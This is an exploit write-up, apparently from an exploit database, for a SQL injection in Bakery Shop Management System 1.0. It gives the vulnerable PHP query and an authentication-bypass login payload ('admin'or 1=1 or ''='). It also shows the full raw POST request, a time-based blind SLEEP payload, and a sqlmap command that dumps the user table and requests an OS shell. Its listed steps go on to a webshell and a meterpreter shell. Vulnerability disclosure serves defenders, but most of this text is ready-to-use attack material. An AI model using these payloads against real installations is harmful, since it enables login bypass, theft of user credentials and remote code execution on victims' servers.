Bakery Shop Management System 1.0 SQL Injection

`# Title: Bakery Shop Management System 1.0 - Blind Time SQLi To Rce  
# Author: Hejap Zairy  
# Date: 06.04.2022  
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/  
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
# Steps  
# 1.- Go to : https://0day.gov/bsms/login.php  
# 2 - SQLi Authentication Bypass [admin'or 1=1 or ''=']  
# 3 - SQLi To RCE r00t  
# 4 - Ubload webshell   
# 5 - Web Shell to meterpreter full tty shell  
  
  
#vulnerability Code php  
  
---  
```  
<?php  
$sql = "SELECT p.*,c.name as cname FROM `product_list` p inner join `category_list` c on p.category_id = c.category_id where p.status = 1 and p.delete_flag = 0 order by `name` asc";  
$qry = $conn->query($sql);  
while($row = $qry->fetch_assoc()):  
$stock_in = $conn->query("SELECT sum(quantity) as `total` FROM `stock_list` where unix_timestamp(CONCAT(`expiry_date`, ' 23:59:59')) >= unix_timestamp(CURRENT_TIMESTAMP) and product_id = '{$row['product_id']}' ")->fetch_array()['total'];  
$stock_out = $conn->query("SELECT sum(quantity) as `total` FROM `transaction_items` where product_id = '{$row['product_id']}' ")->fetch_array()['total'];  
$stock_in = $stock_in > 0 ? $stock_in : 0;  
$stock_out = $stock_out > 0 ? $stock_out : 0;  
$qty = $stock_in-$stock_out;  
$qty = $qty > 0 ? $qty : 0;  
?>  
```  
---  
#Status: CRITICAL  
[+] Payload POST  
  
---  
POST /bsms/Actions.php?a=login HTTP/1.1  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 48  
Origin: http://0day.gov  
Connection: close  
Referer: https://0day.gov/bsms/login.php  
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s  
  
username=admin'or+1%3D1+or+''%3D'&password=hejap  
---  
  
  
  
---  
Parameter: username (POST)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=admin'or 1=1 or ''='' AND (SELECT 1610 FROM (SELECT(SLEEP(515)))eFaV) AND '515'='515&password=hejap  
---  
  
#Blind SQLi Time to Rce  
#ُExploit   
  
sqlmap -r hejap_0day --dbs --time-sec=10 --threads=10 -D bsms_db -T user_list --dump --eta --technique=t --os-shell  
  
# Description:  
The SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.  
  
  
# Proof and Exploit:  
https://i.imgur.com/zR6Mekg.png  
https://i.imgur.com/RQ1JXeK.png  
https://i.imgur.com/0x9gepw.png  
  
`